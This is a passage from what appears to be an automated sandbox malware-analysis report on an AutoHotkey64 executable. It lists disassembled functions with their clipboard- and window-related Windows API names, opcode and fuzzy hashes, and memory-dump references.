                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendTimeoutUnlock
                                                              • String ID:
                                                              • API String ID: 3716859204-0
                                                              • Opcode ID: 9692176c83f45cd6db3e04df79064d2ff68c338b3bbac2c6236a3bf500f66687
                                                              • Instruction ID: d4e56e1ae051b8e1d928520fe75085db8496ef29211e4d45797ab0b50e314dc3
                                                              • Opcode Fuzzy Hash: 9692176c83f45cd6db3e04df79064d2ff68c338b3bbac2c6236a3bf500f66687
                                                              • Instruction Fuzzy Hash: 62A191B1604B4486FB668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 00000001400445A7 Relevance: 9.2, APIs: 6, Instructions: 187windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 112302f8e6f02f18d67ef10f7bef36a9a198a52fc7fd22036925261ecb7a8036
                                                              • Instruction ID: 8a7fef9aef4a8cc2a8c30ef695e34a3258d058aff77b5d5fa82d772c91648736
                                                              • Opcode Fuzzy Hash: 112302f8e6f02f18d67ef10f7bef36a9a198a52fc7fd22036925261ecb7a8036
                                                              • Instruction Fuzzy Hash: 95A191B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 00000001400451E9 Relevance: 9.2, APIs: 6, Instructions: 187windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: bf20dd7cff7f046fa9858ba407802b8972348ce5e35732fabb97f493ebcdbb58
                                                              • Instruction ID: bfb182ceb0d64a1854c620c278bfac69e2f6b9a6dbf394296d38661ff764b2fa
                                                              • Opcode Fuzzy Hash: bf20dd7cff7f046fa9858ba407802b8972348ce5e35732fabb97f493ebcdbb58
                                                              • Instruction Fuzzy Hash: 0C91C4B1604A4486FB668B27E4843E937E1F38DBE4F110226FB5963AF6DB78C490C745
                                                              Function 000000014004536E Relevance: 9.2, APIs: 6, Instructions: 187windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c641b41a666c38dc981492aba5723977b71c5c669428bdba5d50fccdf9d4dbd2
                                                              • Instruction ID: 29d9079b71077ae8a1db6692932379d9ee499e6f305c12eaf2070a598d64bd97
                                                              • Opcode Fuzzy Hash: c641b41a666c38dc981492aba5723977b71c5c669428bdba5d50fccdf9d4dbd2
                                                              • Instruction Fuzzy Hash: 2D91C2B1604A4486FB668B27E4843E937E1F38DBE4F110226FB5963AF6DB78C490C705
                                                              Function 0000000140044102 Relevance: 9.2, APIs: 6, Instructions: 186windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Window$ClipboardCloseGlobalMessageMovePeekRectUnlock
                                                              • String ID:
                                                              • API String ID: 1284534901-0
                                                              • Opcode ID: f4be6a27163bf490b7ccde494232cc6559bc07d597c6e6615d22c46de803fffe
                                                              • Instruction ID: 0c567b4fb7f72e61277447fbeebc078992c43bb171527e088da34b861dfc24e3
                                                              • Opcode Fuzzy Hash: f4be6a27163bf490b7ccde494232cc6559bc07d597c6e6615d22c46de803fffe
                                                              • Instruction Fuzzy Hash: 479192B1604A4486F7668B27E4843D937A1F38DBE4F11022AFB5963BF5DB38C491C745
                                                              Function 000000014004438B Relevance: 9.2, APIs: 6, Instructions: 185windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountThreadTick$AttachInput$ClipboardCloseFocusGlobalMessagePeekProcessUnlockWindow
                                                              • String ID:
                                                              • API String ID: 1514730375-0
                                                              • Opcode ID: 03e11cc04717efa557bdf40bf129c4fa01f32154e871c8c5484ee52af34da06b
                                                              • Instruction ID: ff7f48f40104166731518933dbc6f2ab8ce60b3f6ffa46cb231a46af26dda9d0
                                                              • Opcode Fuzzy Hash: 03e11cc04717efa557bdf40bf129c4fa01f32154e871c8c5484ee52af34da06b
                                                              • Instruction Fuzzy Hash: 699192B1604B4486F7668B27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 000000014004440B Relevance: 9.2, APIs: 6, Instructions: 185windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendTimeoutUnlock
                                                              • String ID:
                                                              • API String ID: 3716859204-0
                                                              • Opcode ID: fd26ad0380fd7f49a1396907d692802d5d766f95656a3af7414b52be1fb30957
                                                              • Instruction ID: 2c3496d8dd2a86bb57b6543f4f4a3b77917ab0a826490a8f058eb4b45e04f2ee
                                                              • Opcode Fuzzy Hash: fd26ad0380fd7f49a1396907d692802d5d766f95656a3af7414b52be1fb30957
                                                              • Instruction Fuzzy Hash: EA9192B1604B4486F7668B27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 00000001400446B4 Relevance: 9.2, APIs: 6, Instructions: 185windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 88b06261aa2fe6e3fd00d5cb6f81f7fba66be396762397e71b12f8761833e123
                                                              • Instruction ID: d9508fc96df8176318ce9875f981df9b9c8f5b3a5846f5876bc72c2de74dcc8f
                                                              • Opcode Fuzzy Hash: 88b06261aa2fe6e3fd00d5cb6f81f7fba66be396762397e71b12f8761833e123
                                                              • Instruction Fuzzy Hash: 1C9191B1604B4486F7668B27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 00000001400447F4 Relevance: 9.2, APIs: 6, Instructions: 185windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 2f26040a714e5049460f49170a43597dae6bd1816ec655175cc71a2fa69c2a18
                                                              • Instruction ID: d64e929251e7b733f6db7896773ada4829671ef22d46af7a9b75de4615b85e60
                                                              • Opcode Fuzzy Hash: 2f26040a714e5049460f49170a43597dae6bd1816ec655175cc71a2fa69c2a18
                                                              • Instruction Fuzzy Hash: 2191A2B1604B8486F7668B27E4443D937A1F34DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140045065 Relevance: 9.2, APIs: 6, Instructions: 185windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 9aa5fe056e9c53727ce2a1b7d4634133ecae4f9d86f11b9d5923e3ccc7358b0c
                                                              • Instruction ID: c7901c820f03d12b2775e113f378e1968a4b71c9304ada7038c9288425af54c3
                                                              • Opcode Fuzzy Hash: 9aa5fe056e9c53727ce2a1b7d4634133ecae4f9d86f11b9d5923e3ccc7358b0c
                                                              • Instruction Fuzzy Hash: 8C91B4B160464486F7668B27E4843E937A1F38DBE4F11022AFB59A3BF6DB38C491C745
                                                              Function 0000000140046072 Relevance: 9.2, APIs: 6, Instructions: 184windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$PrivateProfileStringWrite$ClipboardCloseFullGlobalMessageNamePathPeekUnlock
                                                              • String ID:
                                                              • API String ID: 2214806735-0
                                                              • Opcode ID: 99c27f6439f605b102a8a883b98952bdfe0888202adc444c3ec07bd71453a153
                                                              • Instruction ID: 68d1044d1f71dbb35f8b654bbcbadcea29ed5abb4c867112420da44c7ac519ac
                                                              • Opcode Fuzzy Hash: 99c27f6439f605b102a8a883b98952bdfe0888202adc444c3ec07bd71453a153
                                                              • Instruction Fuzzy Hash: 5F91B3B1604A8486F7668B27E4443E937A1F34DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140046373 Relevance: 9.2, APIs: 6, Instructions: 184windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Process$ClipboardCloseCurrentGlobalMessageOpenPeekTokenUnlock
                                                              • String ID:
                                                              • API String ID: 3060718303-0
                                                              • Opcode ID: 84cb8522e68b7b117c7684edcb12686257855ebe2d3a68075cbe9fc45e364162
                                                              • Instruction ID: 8f6f8421086f979e884d7548c79e5264dfc77c97ff4b3141bc71aa46070feaf8
                                                              • Opcode Fuzzy Hash: 84cb8522e68b7b117c7684edcb12686257855ebe2d3a68075cbe9fc45e364162
                                                              • Instruction Fuzzy Hash: E291C3B160464486FB668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C491C705
                                                              Function 00000001400445F3 Relevance: 9.2, APIs: 6, Instructions: 184windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekTextUnlockWindow
                                                              • String ID:
                                                              • API String ID: 189804293-0
                                                              • Opcode ID: 7416e20401230eb3c68878a0ad303d20471df5c5d9e8adcbdb4f441ea80f574b
                                                              • Instruction ID: b6cae171230b3cc46c96fabc9a74d1cba0093c09e7e278979c50e2ad24120fdc
                                                              • Opcode Fuzzy Hash: 7416e20401230eb3c68878a0ad303d20471df5c5d9e8adcbdb4f441ea80f574b
                                                              • Instruction Fuzzy Hash: 4591A4B1604A8486F7668B27E4443E937E1F78DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140044E50 Relevance: 9.2, APIs: 6, Instructions: 184windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 9a4851eb16602d3a068d01085d95fbcc0aefcc45d3fa1cdca3456820360ee4de
                                                              • Instruction ID: 401306b8bb64d2ce7b63211373df6b72ebed5f1aeb631cb095bd7ee5b129c24d
                                                              • Opcode Fuzzy Hash: 9a4851eb16602d3a068d01085d95fbcc0aefcc45d3fa1cdca3456820360ee4de
                                                              • Instruction Fuzzy Hash: 7191A3B160464486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140046044 Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$PrivateProfileStringWrite$ClipboardCloseFullGlobalMessageNamePathPeekUnlock
                                                              • String ID:
                                                              • API String ID: 2214806735-0
                                                              • Opcode ID: a08285758fe126b27f30d152b3fce8cee90623c27632b8a00610553d42e1ac37
                                                              • Instruction ID: fcd4c39d063842643fad390391300953a6dcac2b820aea853d6900992676a1bb
                                                              • Opcode Fuzzy Hash: a08285758fe126b27f30d152b3fce8cee90623c27632b8a00610553d42e1ac37
